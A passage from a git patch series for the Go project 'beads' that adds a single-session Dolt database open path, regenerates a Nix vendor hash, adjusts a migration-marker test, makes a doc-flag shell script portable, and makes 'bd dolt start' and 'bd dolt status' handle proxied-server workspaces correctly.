one session per +attempt, so both statements land on the same session, and an attempt that dies +between them returns its connection to the pool, which is why the restore +cannot be the caller's job. User variables (`SET @sql`, `SET @needs_add`) are +exempt: nothing outside these scripts reads one, and each assigns before it +reads. + **The `dolt` CLI is not a safe harness for guarded migrations, twice over.** `dolt sql -f`/`-q`/piped-stdin silently no-ops `PREPARE`/`EXECUTE`-driven `ALTER TABLE` — every guarded migration here uses exactly that shape — and diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index 0aafb5bed..922f47aae 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -14,6 +14,7 @@ import ( "github.com/cenkalti/backoff/v4" "github.com/go-sql-driver/mysql" + "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" "github.com/steveyegge/beads/internal/storage/dbproxy/util" @@ -167,10 +168,14 @@ func (p *doltSQLProvider) BeginTx(ctx context.Context) (Tx, error) { } // selectProbeDatabase lets schema's pre-lock convergence probe reach the -// database on a session that is not yet on one. openAndInitSchema pins its -// schema-init pool with an EMPTY DSN database, so without this the probe reads -// NULL from DATABASE(), declines, and every invocation queues on the -// server-wide migration lock it exists to skip. +// database on a session that is not yet on one. openAndInitSchema has two entry +// shapes since wy-s8ytnw, and only one of them needs this: the steady-state +// open connects straight to the target database, so the probe reads it from +// DATABASE() and returns before consulting the selector at all +// (schema.selectTargetDatabase). The fall-through open still pins its +// schema-init pool with an EMPTY DSN database, and there, without this, the +// probe reads NULL from DATABASE(), declines, and every invocation queues on +// the server-wide migration lock it exists to skip. // // The USE MUST remain the DDL repository's own UseDatabase — the exact // statement prepareBootstrap issues below. That identity is the reason the @@ -466,33 +471,131 @@ func pingWithRetry(ctx context.Context, p pinger, bo *backoff.ExponentialBackOff }, backoff.WithContext(bo, ctx)) } +// openDB opens dsn and waits out a server that is still coming up, retrying +// transient ping failures for up to 30s (#6003). func openDB(ctx context.Context, dsn string) (*sql.DB, error) { + bo := backoff.NewExponentialBackOff() + bo.MaxElapsedTime = 30 * time.Second + return openPool(dsn, func(conn *sql.DB) error { + return pingWithRetry(ctx, conn, bo, pingAttemptTimeout) + }) +} + +// openDBProbe opens dsn and proves it with ONE bounded ping instead of +// openDB's 30s retry budget. It exists for openAndInitSchema's fast path, +// whose failure is not terminal: every error there falls through to the +// historical open, which keeps the retry budget it has always owned. Retrying +// here as well would charge an unreachable server twice — this budget and then +// the fall-through's, ~60s where the pre-fast-path code spent 30s — to answer +// a question one ping answers. The sibling fast path in internal/storage/dolt +// (openServerConnection's bare PingContext ahead of its no-database init +// connection) is deliberately the same shape. +// +// The one attempt is still capped at pingAttemptTimeout, for the reason +// pingWithRetry caps its own attempts: the DSN sets no ReadTimeout, so a server +// that accepts TCP and then stalls mid-handshake is otherwise bounded only by +// the caller's context. +func openDBProbe(ctx context.Context, dsn string) (*sql.DB, error) { + return openPool(dsn, func(conn *sql.DB) error { + pingCtx, cancel := context.WithTimeout(ctx, pingAttemptTimeout) + defer cancel() + return conn.PingContext(pingCtx) + }) +} + +// openPool opens dsn and hands the pool to prove, which must establish that +// the server answers on it. The error texts are load-bearing — callers match +// on "uow: open db" and "uow: ping db" — and a pool whose prove fails is +// closed here rather than leaked to a caller that only sees an error. +func openPool(dsn string, prove func(*sql.DB) error) (*sql.DB, error) { conn, err := sql.Open("mysql", dsn) if err != nil { return nil, fmt.Errorf("uow: open db: %w", err) } - bo := backoff.NewExponentialBackOff() - bo.MaxElapsedTime = 30 * time.Second - if err := pingWithRetry(ctx, conn, bo, pingAttemptTimeout); err != nil { + if err := prove(conn); err != nil { return nil, errors.Join(fmt.Errorf("uow: ping db: %w", err), conn.Close()) } return conn, nil } func openAndInitSchema(ctx context.Context, ep proxy.Endpoint, database, rootUser, rootPassword, tlsConfigName string, teamServer bool, expectedProjectID string, opts providerOptions) (UnitOfWorkProvider, error) { + newProvider := func(pool *sql.DB) *doltSQLProvider { + return &doltSQLProvider{ + defaultBranch: defaultBranch, + db: pool, + serverEndpoint: "tcp:" + ep.Address(), + teamServer: teamServer, + expectedProjectID: expectedProjectID, + preview: opts.preview, + } + } + + // Fast path (wy-s8ytnw): connect straight to the target database. A + // successful connect IS the existence proof (the same reasoning the + // dolt store applies to Gateway servers), so the steady-state open — + // a database that already exists, which is every open but the very + // first — costs ONE MySQL session instead of two: initSchema runs on + // this pool (USE + the converged-schema reads, or a real migration + // when one is pending; the bare CREATE DATABASE inside the locked + // preparation is refused with 1007 exactly as it is on a no-database + // connection, so `created` stays false and fresh-bootstrap heal can + // never be armed by a database this call did not create), and the + // same pool is then handed to the provider. + // + // Reusing the migrating pool is safe — but NOT because migrations leave + // the session alone. They do not: six shipped migrations issue + // `SET FOREIGN_KEY_CHECKS = 0` and restore `= 1` (0041, 0043, 0047, + // 0050, 0053, 0058 under internal/storage/schema/migrations), and the + // guarded ones leave user variables (`SET @sql`, `SET @needs_add`) set. + // It is safe because of three narrower facts: + // - initSchemaAttempt pins ONE session per attempt (p.db.Conn), so a + // script's SET and its restoring SET cannot land on different + // sessions; + // - every script that clears FOREIGN_KEY_CHECKS restores it before it + // can report success, and a leftover user variable is inert: nothing + // outside these scripts reads one, and each script assigns before it + // reads; + // - every initSchema failure below closes this whole pool, so a script + // that died between the two SETs never hands its session back. + // That is a convention where it used to be structural: before this fast + // path the schema-init pool was always discarded, so a migration could + // leak session state with impunity. Now a migration that leaves a system + // session variable changed on the success path would leak it into live + // query sessions — and an attempt that dies mid-script returns its + // connection to the pool, so the restore has to be part of the script, + // not of the caller. See internal/storage/schema/migrations/README.md. + // + // Any connect failure — the database does not exist yet (1049), the + // server is down, bad credentials — falls through to the historical + // no-database init connection, which owns creation, the ownership + // signal, and every error message callers already match on. The probe is + // single-shot (openDBProbe) precisely so that fall-through cannot cost a + // second full retry budget. + probeConn, probeErr := openDBProbe(ctx, buildDSN(ep, database, rootUser, rootPassword, tlsConfigName)) + if probeErr == nil { + provider := newProvider(probeConn) + if err := provider.initSchema(ctx, database); err != nil { + _ = probeConn.Close() + return nil, fmt.Errorf("uow: init schema: %w", err) + } + return provider, nil + } + + // Advisory only: the fall-through below is the historical open, so this is + // never fatal. But a silently discarded error is a fast path that has + // quietly stopped firing — here that means every bd invocation is back to + // burning two MySQL sessions, the exact cost this path exists to remove, + // with nothing to say so. Same reasoning as the convergence probe in + // internal/storage/schema/lock.go. + debug.Logf("uow: single-session open unavailable for %q, using the no-database init connection: %v\n", + database, probeErr) + initDB, err := openDB(ctx, buildDSN(ep, "", rootUser, rootPassword, tlsConfigName)) if err != nil { return nil, err } - initProvider := &doltSQLProvider{ - defaultBranch: defaultBranch, - db: initDB, - serverEndpoint: "tcp:" + ep.Address(), - teamServer: teamServer, - expectedProjectID: expectedProjectID, - preview: opts.preview, - } + initProvider := newProvider(initDB) if err := initProvider.initSchema(ctx, database); err != nil { _ = initDB.Close() @@ -508,12 +611,5 @@ func openAndInitSchema(ctx context.Context, ep proxy.Endpoint, database, rootUse return nil, err } - return &doltSQLProvider{ - defaultBranch: defaultBranch, - db: dbConn, - serverEndpoint: "tcp:" + ep.Address(), - teamServer: teamServer, - expectedProjectID: expectedProjectID, - preview: opts.preview, - }, nil + return newProvider(dbConn), nil } From d00875e24a13e248a357cefb8408fa78009912a9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 15 Sep 2026 22:19:02 +0000 Subject: [PATCH 049/624] chore(nix): regenerate vendorHash for the merged module graph MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The forward-port merge produced a go.mod/go.sum that is a union of both sides — release/1.3.0's kin-openapi/oapi-codegen/swag bumps plus main's newer Dolt stack (dolt/go, go-mysql-server, vitess, eventsapi_schema) — so neither branch's recorded vendorHash covered it and the nix-build gate would have failed on either. Regenerated and verified with nix (via the nixos/nix container, as scripts/update-nix-vendorhash.sh does): the go-modules fixed-output derivation now builds with no hash mismatch and `nix build` completes beads-1.3.0 end to end. --- default.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/default.nix b/default.nix index 395cefae9..1e44ff2aa 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,7 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-wDU1tw/4t2CetwQl4+zUhlDI70dSasLLI2Gy66ZyhQQ="; + vendorHash = "sha256-DQdauEx5g48Xbxrz4wGLx4vkrQoYQX3FUx+7N/Y6YV4="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not From c0dbe3060719d6a30fe2cbd0da462783e04a7cd3 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 15 Sep 2026 23:29:38 +0000 Subject: [PATCH 050/624] test(embeddeddolt): let the dep-rekey marker sit below the ignored-series head The v1.3.0 forward-port renumbered main's add_wisps_current_revision from ignored 0026 to 0027, because release/1.3.0's dep_rekey_dedup_marker shipped inside the v1.3.0 tag at 0026 and can never move. That makes TestDepRekeyMarkerIsLatestIgnored's "the marker is the latest ignored migration" assertion false by design, not broken. The fixture technique the canary guards is untouched by the renumber. unrecordIgnoredVersionsFrom deletes cursor rows with version >= the marker, so unrecording from 0026 drops the cursor below 26 and migrate re-applies the whole tail: the marker comes back pending no matter how many versions sit above it. The range delete is why later ignored migrations have to stay re-runnable, and 0027 already guards its ALTER on INFORMATION_SCHEMA for exactly that reason. So assert the property the canary actually exists for -- the marker is still inside the ignored series -- and rename it, since "IsLatestIgnored" now names something the series deliberately does not do. Co-Authored-By: Claude Fable 5 --- .../migrate_dep_rekey_dedup_test.go | 40 ++++++++++++++----- 1 file changed, 29 insertions(+), 11 deletions(-) diff --git a/internal/storage/embeddeddolt/migrate_dep_rekey_dedup_test.go b/internal/storage/embeddeddolt/migrate_dep_rekey_dedup_test.go index 1fc2e250f..6e936eb13 100644 --- a/internal/storage/embeddeddolt/migrate_dep_rekey_dedup_test.go +++ b/internal/storage/embeddeddolt/migrate_dep_rekey_dedup_test.go @@ -35,19 +35,37 @@ import ( // plain rename leave a stale primary key behind. // depRekeyMarkerVersion is ignored migration 0026, the clone-local marker whose -// pending state forces the one repair pass. +// pending state forces the one repair pass. It is pinned here permanently: the +// marker shipped inside the v1.3.0 tag, so field stores have already recorded it +// at ordinal 26 and it can never move. Ignored migrations now sit above it -- +// 0027 is main's add_wisps_current_revision, which the v1.3.0 forward-port +// renumbered out of the way after both branches independently claimed 0026. Do +// not chase the newest ordinal with this constant; it names one specific marker. const depRekeyMarkerVersion = 26 -// TestDepRekeyMarkerIsLatestIgnored keeps the fixtures in this file honest. They -// force the repair pass by unrecording the marker, which only works while the -// pass is genuinely pending afterwards. If a later ignored migration lands, this -// fails first with an actionable message instead of the marker-driven tests -// failing with assertions that indict the repair code. -func TestDepRekeyMarkerIsLatestIgnored(t *testing.T) { - if got := schema.LatestIgnoredVersion(); got != depRekeyMarkerVersion { - t.Fatalf("latest ignored migration is %d, not the dep-rekey marker %d; "+ - "if you added ignored %d, point depRekeyMarkerVersion at 0026 anyway and confirm "+ - "unrecordIgnoredVersionsFrom still leaves the marker pending", got, depRekeyMarkerVersion, got) +// TestDepRekeyMarkerStillInIgnoredSeries keeps the fixtures in this file honest. +// They force the repair pass by unrecording from the marker, which only works +// while the pass is genuinely pending afterwards. +// +// The marker does not have to be the NEWEST ignored migration for that to hold, +// and since the forward-port it is not. unrecordIgnoredVersionsFrom deletes the +// cursor rows from the marker upward, so the cursor -- COALESCE(MAX(version), 0) +// -- falls below 26 and migrate re-applies the whole tail: 0026 comes back +// pending no matter how many versions sit above it. The cost of the range delete +// is that those later versions re-run too, so they have to stay re-runnable; +// ignored 0027 guards its ALTER on INFORMATION_SCHEMA for exactly that reason. +// +// What the fixtures cannot survive is the marker leaving the series. Renumbered +// or dropped, the unrecord would target an ordinal nothing owns, no pass would be +// forced, and the marker-driven tests below would fail with assertions that +// indict the repair code. This fails first, and says what actually broke. +func TestDepRekeyMarkerStillInIgnoredSeries(t *testing.T) { + if got := schema.LatestIgnoredVersion(); got < depRekeyMarkerVersion { + t.Fatalf("ignored series ends at %d, below the dep-rekey marker %d; the marker shipped "+ + "in the v1.3.0 tag and cannot move, so a series that no longer reaches it means 0026 "+ + "was renumbered or dropped -- restore it, or unrecordIgnoredVersionsFrom leaves no "+ + "marker pending and the fixtures below stop exercising the repair", + got, depRekeyMarkerVersion) } } From f62cc4f072d456479c8269611a5b88f1a583089b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 16 Sep 2026 01:12:57 -0700 Subject: [PATCH 051/624] fix(scripts): make check-doc-flags portable to BSD grep and fail loud on grep errors (#6026) (#6581) (cherry picked from commit 4c4be78b5c935ae8f819be84b2a636476293f267) Co-authored-by: postoso Co-authored-by: postoso --- scripts/check-doc-flags.sh | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/scripts/check-doc-flags.sh b/scripts/check-doc-flags.sh index 193ed1579..96ce8d39a 100755 --- a/scripts/check-doc-flags.sh +++ b/scripts/check-doc-flags.sh @@ -93,8 +93,16 @@ echo "" # --- Check 2: bd init flags --- echo "=== Check 2: bd init flags ===" -# Get actual init flags -INIT_FLAGS=$($BD init --help 2>&1 | grep -oP '^\s+--[a-z][a-z0-9-]*' | sed 's/^\s*//' || true) +# Get actual init flags. Match both long-only rows and rows with a short alias. +INIT_FLAGS_OK=1 +if ! INIT_FLAGS=$("$BD" init --help 2>&1 \ + | grep -E '^[[:space:]]+(-[[:alnum:]], )?--[a-z]' \ + | grep -oE -- '--[a-z][a-z0-9-]*' \ + | sort -u); then + echo "FAIL: Could not extract flags from 'bd init --help'" + ERRORS=$((ERRORS + 1)) + INIT_FLAGS_OK=0 +fi # Check for --branch on init (removed) BRANCH_REFS=$(grep -rn 'bd init.*--branch' \ @@ -107,7 +115,11 @@ BRANCH_REFS=$(grep -rn 'bd init.*--branch' \ | grep -v 'CHANGELOG\|removed\|was removed\|no longer\|deprecated' \ || true) -if [ -n "$BRANCH_REFS" ]; then +if [ "$INIT_FLAGS_OK" -ne 1 ]; then + echo "SKIP: Cannot validate 'bd init --branch' without the live init flag list" +elif printf '%s\n' "$INIT_FLAGS" | grep -qx -- '--branch'; then + echo "PASS: 'bd init --branch' is a live flag" +elif [ -n "$BRANCH_REFS" ]; then echo "FAIL: Found references to removed 'bd init --branch' flag:" echo "$BRANCH_REFS" | head -20 ERRORS=$((ERRORS + 1)) From 87c7375d5ff62756163011bd8c561f50860f422b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 16 Sep 2026 01:13:07 -0700 Subject: [PATCH 052/624] fix(dolt): contain `bd dolt start` on proxied workspaces; make `bd dolt status` truthful [release/1.3.0] (#6580) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Align proxied-local-smoke Dolt CLI pin with measured 2.2.0 (refs be-egcj2.3) (#6002) * test(feat): red — Align dolt-sql-server test container version with host DOLT_VERSION pin (refs be-egcj2.3) * feat: green — Align dolt-sql-server test container version with host DOLT_VERSION pin (refs be-egcj2.3) * chore(ci): retrigger CI after transient golangci-lint schema-fetch timeout (refs be-fjj0i) (cherry picked from commit ea89b160fbf00c0ccf0da154a8d0cf690d00235e) * fix(dolt): contain `bd dolt start` on proxied workspaces; make `bd dolt status` truthful `bd dolt start` knew nothing about proxied-server mode, and the default proxied root IS `.beads/dolt` (internal/doltserver/physical_root.go:113-127). With the proxy tree down it launched an unsupervised `dolt sql-server` directly over that root; the next ordinary bd command then failed with `invalid connection` because the relaunched proxy found a foreign server on its port. With the tree up it adopted the proxy's own dolt child into bd's classic PID/port records, leaving two managers for one process. `bd dolt status` read the classic pidfile, which proxied mode never writes, and reported "not running" against a healthy backend — the wrong answer that sent operators to `bd dolt start` in the first place. start is now a typed refusal (`proxy.dolt_start.conflict`): the proxy owns its child's lifecycle, and an idle reaper means a "started" postcondition bd could not honor beyond the idle window. status reads the proxy's own records and reports the proxy and its backend separately, starting nothing. Co-Authored-By: Claude Fable 5 --------- Co-authored-by: Jim Wordelman Co-authored-by: Claude Fable 5 --- .github/workflows/proxied-local-smoke.yml | 14 +- CHANGELOG.md | 29 ++ cmd/bd/dolt.go | 51 ++- cmd/bd/dolt_lifecycle_proxied_server_test.go | 108 ++++++ cmd/bd/dolt_proxied_lifecycle.go | 144 ++++++++ cmd/bd/dolt_proxied_lifecycle_test.go | 187 ++++++++++ cmd/bd/proxied_local_dolt_lifecycle_test.go | 321 ++++++++++++++++++ internal/storage/dbproxy/proxy/read_status.go | 62 ++++ scripts/ci_workflow_test.go | 26 ++ 9 files changed, 936 insertions(+), 6 deletions(-) create mode 100644 cmd/bd/dolt_lifecycle_proxied_server_test.go create mode 100644 cmd/bd/dolt_proxied_lifecycle.go create mode 100644 cmd/bd/dolt_proxied_lifecycle_test.go create mode 100644 cmd/bd/proxied_local_dolt_lifecycle_test.go create mode 100644 internal/storage/dbproxy/proxy/read_status.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index 93a0eab2d..e19f4f8dd 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -21,6 +21,7 @@ on: paths: - 'cmd/bd/proxied_local_*' - 'cmd/bd/proxied_server*.go' + - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' @@ -39,6 +40,7 @@ on: paths: - 'cmd/bd/proxied_local_*' - 'cmd/bd/proxied_server*.go' + - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' @@ -65,8 +67,10 @@ jobs: env: CGO_ENABLED: "1" # Pinned so the lane tests a known dolt CLI, not whatever the installer - # resolves on a given day. Bump deliberately. - DOLT_VERSION: 2.2.2 + # resolves on a given day. Bump deliberately, and only in lockstep with + # the measured pin in scripts/ci/install-dolt.sh (see "Which Dolt + # version to install" in docs/architecture/dolt.md). + DOLT_VERSION: 2.2.0 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -102,7 +106,11 @@ jobs: TestManagedLocalProxiedLegacyRecordFailClosed \ TestManagedLocalProxiedOrphanBackendReaped \ TestManagedLocalProxiedNProcessColdStartConvergence \ - TestManagedLocalProxiedStopStartInterleave + TestManagedLocalProxiedStopStartInterleave \ + TestManagedLocalProxiedDoltStatusReportsLiveTopology \ + TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ + TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ + TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index a560f470b..442ce035b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,35 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Fixed + +- **`bd dolt start` no longer puts a second sql-server over a proxied + workspace's data directory.** On a proxied-server workspace the default root + IS `.beads/dolt`, and `bd dolt start` knew nothing about proxied mode: with + the proxy quiesced it launched an unsupervised `dolt sql-server` directly + over that root, after which ordinary bd commands failed (`invalid + connection`) because the relaunched proxy found a foreign server on its + port; with the proxy live it instead adopted the proxy's own dolt child into + bd's classic PID/port records, leaving two managers for one process. It is + now a typed refusal with code `proxy.dolt_start.conflict`. The proxy owns + its backend's lifecycle — it starts on demand and `bd dolt stop` shuts it + down. Direct-server and embedded workspaces are unaffected. + +- **`bd dolt status` tells the truth on a proxied workspace.** It read the + classic PID file, which proxied mode never writes, and so reported `Dolt + server: not running` while the proxy was serving CRUD — the wrong answer + that sent operators to `bd dolt start` in the first place. It now reads the + proxy's own records and reports the proxy and its dolt backend separately, + without starting either. **JSON output shape change**: on a proxied + workspace `bd dolt status --json` now emits + `{"mode": "proxied-server", "root": ..., "running": , "proxy_pid": + ..., "proxy_port": ..., "backend_managed": ..., "backend_running": ..., + "backend_pid": ..., "backend_port": ..., "idle_timeout": ...}` instead of + the always-false `{"running": false, "pid": 0, "port": 0}`. `running` + describes the proxy, the endpoint every bd command connects through; + `backend_managed` is false on external proxied topologies, where the dolt + server is not bd's process to report on. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/cmd/bd/dolt.go b/cmd/bd/dolt.go index 174748254..009b15bb6 100644 --- a/cmd/bd/dolt.go +++ b/cmd/bd/dolt.go @@ -773,7 +773,12 @@ The server runs in the background on a per-project port derived from the project path. PID and logs are stored in .beads/. The server auto-starts transparently when needed, so manual start is rarely -required. Use this command for explicit control or diagnostics.`, +required. Use this command for explicit control or diagnostics. + +Not available in proxied-server mode: there the proxy owns its dolt backend's +lifecycle and starts it on demand, so a server started here would be a second, +unsupervised one over the same data directory. Use 'bd dolt status' to see what +is running and 'bd dolt stop' to shut it down.`, RunE: func(cmd *cobra.Command, args []string) error { beadsDir := selectedDoltBeadsDir() if beadsDir == "" { @@ -783,6 +788,26 @@ required. Use this command for explicit control or diagnostics.`, if err != nil { return HandleError("%v", err) } + // A proxied workspace already has a server manager. The proxy spawns + // its dolt child on demand and reaps the whole tree when idle, so + // there is no state for bd to add here — only a second one to + // collide with. With the tree down, doltserver.Start resolves the + // proxied root's own configured port and launches an unsupervised + // sql-server directly over .beads/dolt, and the next ordinary bd + // command then fails because the relaunched proxy finds a foreign + // server on its port; with the tree up, Start instead adopts the + // proxy's child into bd's classic PID/port records, leaving two + // managers for one process. Refused rather than routed: the proxy + // owns its child's lifecycle, and an idle reaper means a "started" + // postcondition bd cannot honor for more than the idle window. + // + // Both the process-wide mode and the selected workspace's own + // metadata are consulted, and this runs before the embedded guard: + // over-refusing costs an operator one error message, under-refusing + // costs them the datastore. + if usesProxiedServer() || fileCfg.IsDoltProxiedServerMode() { + return HandleProxyCapabilityError(proxiedDoltStartRefusal()) + } if !usesSQLServer() { return HandleError("'bd dolt start' is not supported in embedded mode (no Dolt server)") } @@ -790,7 +815,7 @@ required. Use this command for explicit control or diagnostics.`, // server lifecycle (GH#3545/GH#3518): starting a repo-local // server here would write local PID/port state that shadows the // configured remote endpoint. - if host := fileCfg.GetDoltServerHost(); !usesProxiedServer() && !configfile.IsLocalHostString(host) { + if host := fileCfg.GetDoltServerHost(); !configfile.IsLocalHostString(host) { return HandleError("the configured Dolt server host is remote (%s); 'bd dolt start' only manages a local server.\nStart the server on that host, or clear dolt_server_host / dolt.host / BEADS_DOLT_SERVER_HOST to run one locally", host) } serverDir := doltserver.ResolveServerDir(beadsDir) @@ -1067,7 +1092,12 @@ PID, port, and data directory from the local PID file. For externally- managed servers — a shared server (dolt.shared-server: true), a remote dolt_server_host, or a local server managed outside bd (dolt.auto-start: false, e.g. an orchestrator-shared sql-server) — pings the configured -endpoint via SQL and reports reachability, server version, and database.`, +endpoint via SQL and reports reachability, server version, and database. + +In proxied-server mode, reports the proxy (the endpoint every bd command +connects through) and the dolt backend behind it separately, read from the +proxy's own process records. Reporting starts nothing: a quiesced workspace +is shown as not running, and the next bd command launches it.`, RunE: func(cmd *cobra.Command, args []string) error { beadsDir := selectedDoltBeadsDir() if beadsDir == "" { @@ -1090,6 +1120,21 @@ endpoint via SQL and reports reachability, server version, and database.`, fmt.Printf("Backend: %s (no Dolt engine)\n", cfg.GetBackend()) return nil } + // Neither branch below describes a proxied workspace. It writes no + // classic PID file, so the bd-managed path reports "not running" + // while the proxy is serving CRUD, and shouldUseExternalDoltStatus + // deliberately excludes proxied so the SQL-probe path never sees it + // either. Keyed on the loaded config rather than the process-wide + // mode so `bd --db dolt status` describes the + // workspace it was pointed at. + if cfg.IsDoltProxiedServerMode() { + status, err := collectProxiedDoltStatus(beadsDir) + if err != nil { + return HandleError("%v", err) + } + renderProxiedDoltStatus(status) + return nil + } if !usesSQLServer() { showEmbeddedDoltStatus(beadsDir) return nil diff --git a/cmd/bd/dolt_lifecycle_proxied_server_test.go b/cmd/bd/dolt_lifecycle_proxied_server_test.go new file mode 100644 index 000000000..8bcb76b76 --- /dev/null +++ b/cmd/bd/dolt_lifecycle_proxied_server_test.go @@ -0,0 +1,108 @@ +//go:build cgo + +package main + +// The external-tcp half of the `bd dolt status` / `bd dolt start` coverage. +// It lives in the TestProxiedServer* lane, which runs on every PR, so the +// corruption guard is enforced there and not only in the path-filtered +// managed-local lane. +// +// The distinction this topology exercises: bd runs a proxy but spawns no dolt, +// so "the backend is not running" is a claim bd has no standing to make. + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" +) + +func TestProxiedServerDoltLifecycle(t *testing.T) { + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "extdolt") + t.Cleanup(func() { + serverDir := doltserver.ResolveServerDir(p.beadsDir) + if _, err := os.Stat(filepath.Join(serverDir, doltserver.PIDFileName)); err != nil { + return + } + t.Logf("stray classic dolt-server.pid under %s; stopping it", serverDir) + if err := doltserver.Stop(serverDir); err != nil { + t.Logf("doltserver.Stop(%s): %v", serverDir, err) + } + }) + bdProxiedCreate(t, bd, p.dir, "external lifecycle sentinel") + + proxyPid := readProxyPidFileOrFail(t, p) + + t.Run("status reports the proxy and disclaims the backend", func(t *testing.T) { + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + var got struct { + Mode string `json:"mode"` + Running bool `json:"running"` + ProxyPID int `json:"proxy_pid"` + BackendManaged bool `json:"backend_managed"` + BackendRunning bool `json:"backend_running"` + BackendEndpoint string `json:"backend_endpoint"` + } + if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr != nil { + t.Fatalf("decode dolt status JSON: %v\nstdout:\n%s", jsonErr, stdout) + } + if got.Mode != "proxied-server" || !got.Running { + t.Errorf("status=%+v, want mode=proxied-server running=true", got) + } + if got.ProxyPID != proxyPid { + t.Errorf("proxy_pid=%d, want %d", got.ProxyPID, proxyPid) + } + if got.BackendManaged { + t.Error("backend_managed=true on an external topology; bd spawns no dolt there") + } + if got.BackendRunning { + t.Error("backend_running=true on an external topology; bd has no record to claim that from") + } + if !strings.HasPrefix(got.BackendEndpoint, "127.0.0.1:") { + t.Errorf("backend_endpoint=%q, want the configured external endpoint", got.BackendEndpoint) + } + }) + + t.Run("start is refused", func(t *testing.T) { + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "start") + if err == nil { + t.Errorf("bd dolt start succeeded on an external proxied workspace:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + var got struct { + Code string `json:"code"` + Mutates bool `json:"mutates"` + } + if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr != nil { + t.Fatalf("refusal is not typed JSON (%v)\nstdout:\n%s\nstderr:\n%s", jsonErr, stdout, stderr) + } + if got.Code != proxyDoltStartConflictCode || got.Mutates { + t.Errorf("refusal=%+v, want code=%q mutates=false", got, proxyDoltStartConflictCode) + } + for _, name := range []string{doltserver.PIDFileName, doltserver.PortFileName} { + if _, statErr := os.Stat(filepath.Join(p.beadsDir, name)); statErr == nil { + t.Errorf("%s exists after a refused start", name) + } + } + }) + + if out, err := bdProxiedRun(t, bd, p.dir, "create", "--json", "post-refusal write"); err != nil { + t.Fatalf("workspace unusable after the lifecycle probes: %v\n%s", err, out) + } +} + +func readProxyPidFileOrFail(t *testing.T, p proxiedProject) int { + t.Helper() + running, pid := proxy.IsRunning(p.proxyRoot) + if !running { + t.Fatalf("expected a live proxy under %s after a create", p.proxyRoot) + } + return pid +} diff --git a/cmd/bd/dolt_proxied_lifecycle.go b/cmd/bd/dolt_proxied_lifecycle.go new file mode 100644 index 000000000..31b7db6cb --- /dev/null +++ b/cmd/bd/dolt_proxied_lifecycle.go @@ -0,0 +1,144 @@ +package main + +// `bd dolt start` and `bd dolt status` for proxied-server workspaces. +// +// Both commands predate proxied mode and assume bd owns the sql-server: they +// read and write .beads/dolt-server.pid. A proxied workspace never has one — +// the proxy writes proxy.pid and proxy-child.pid under the proxied root — so +// status used to report "not running" against a healthy backend, and start +// used to act on that by putting a second sql-server over the live data +// directory. This file is the proxied-aware half of both. + +import ( + "fmt" + "net" + "os" + "strconv" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" +) + +// Stable identity of the `bd dolt start` refusal on a proxied workspace. +// Codes are the part of the refusal contract downstream consumers branch on, +// so this one is frozen; the message beside it is informative. +const proxyDoltStartConflictCode = "proxy.dolt_start.conflict" + +const proxyDoltStartConflictMessage = "dolt start is not supported in proxied-server mode: " + + "the proxy owns its dolt backend, and a second sql-server over the same data directory risks corrupting it; " + + "the proxy starts on demand — run 'bd dolt status' to see what is running, or 'bd dolt stop' to shut it down" + +// proxiedDoltStartRefusal is enforced inside the command rather than by the +// pre-provider capability gate because `bd dolt` is a noDbCommands entry: its +// subcommands skip store init and so never reach the gate in main.go. Folding +// this row into the consolidated registry is S2's job; the 